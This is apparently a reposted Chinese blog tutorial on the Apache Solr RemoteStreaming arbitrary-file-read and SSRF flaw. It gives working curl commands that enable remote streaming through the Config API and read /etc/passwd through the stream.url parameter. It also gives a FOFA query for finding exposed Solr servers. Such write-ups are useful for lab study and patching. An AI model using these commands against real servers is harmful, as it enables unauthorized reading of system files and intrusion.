Apache Solr RemoteStreaming 任意文件读取和SSRF

本文阅读 3 分钟

Apache Solr是一个功能强大的开源搜索服务器,它支持REST风格API。在Apache Solr未开启认证的情况下,攻击者可直接构造特定请求开启特定配置,并最终造成SSRF或任意文件读取。

影响版本:Apache Solr <= 8.8.1
1、下载地址:
https://solr.apache.org/downloads.html(可访问最新版本)
https://archive.apache.org/dist/lucene/solr/(可查看所有版本)
2、在线靶场
vluhub
https://labs.do-ta.com/
空间搜索引擎FOFA输入:app="APACHE-Solr",可以查看目前使用Solr的系统,如下图:

img

我们需要学习一些额外的知识,以便了解为何我们的Payload要如下那样设置。

1、内容流

内容流来源:当前请求处理程序可以通过多种方式获取内容流:
1、对于多部分文件上传,每个文件都以流的形式传递。
2、对于内容类型不是 application/x-www-form-urlencoded 的 POST 请求,原始的 POST 主体将作为流传递。完整的 POST 主体被解析为参数并包含在 Solr 参数中。
3、参数 stream.body 的内容作为流传递。
4、如果启用了远程流并在请求处理期间调用了 URL 内容,则每个参数 stream.url 和 stream.file 参数的内容将作为流获取并传递。

默认情况下,curl 发送一个 contentType=“application/x-www-form-urlencoded” 头。如果需要测试SolrContentHeader内容流,则需要使用 curl -H 标志来设置内容类型。

2、RemoteStreaming

远程流传输,默认情况下是禁用状态,开启此选项,可以将URL的内容作为流发送到给定的SolrRequestHandler。

在启用远程流处理之前, 应确保系统已启用身份验证。
<requestParsers enableRemoteStreaming="false"...>

如果未在 solrconfig. xml 中指定 enableRemoteStreaming,则默认行为是不允许远程流 (即 enableRemoteStreaming = “false”)。 远程流也可以通过 Config API 启用,如下所示:

curl -d ' { "set-property" : {"requestDispatcher.requestParsers.enableRemoteStreaming":true} } ' http://localhost:8983/solr/techproducts/config -H 'Content-type:application/json'

如果使用 enableRemoteStreaming = “true”,将允许任何人向任何 URL 或本地文件发送请求。如果启用了 DumpRequestHandler,它将允许任何人查看系统上的任何文件。

1、访问到Apache Solr的管理控制台

访问请求:ip:8983

img

2、访问http://192.168.209.134:8983/solr/admin/cores?indexInfo=false&wt=json 获取到数据库名称为:demo img 3、利用curl命令,发送如下数据包,修改数据库demo的配置,开启RemoteStreaming。

curl -i -s -k -X $'POST' \
     -H $'Content-Type: application/json' --data-binary $'{ \"set-property\":{ \"requestDispatcher.requestParsers.enableRemoteStreaming\":true}}' \
     $'http://192.168.209.134:8983/solr/demo/config'

img 4、通过curl工具,利用Stream.url读取任意文件

curl -i -s -k 'http://192.168.209.134:8983/solr/demo/debug/dump?param=ContentStreams&stream.url=file:///etc/passwd'

img

本文为互联网自动采集或经作者授权后发布,本文观点不代表立场,若侵权下架请联系我们删帖处理!文章出自:https://blog.csdn.net/sycamorelg/article/details/120706240
-- 展开阅读全文 --
Web安全—逻辑越权漏洞(BAC)
« 上一篇 03-13
Redis底层数据结构--简单动态字符串
下一篇 » 04-10

发表评论

成为第一个评论的人

热门文章

标签TAG

最近回复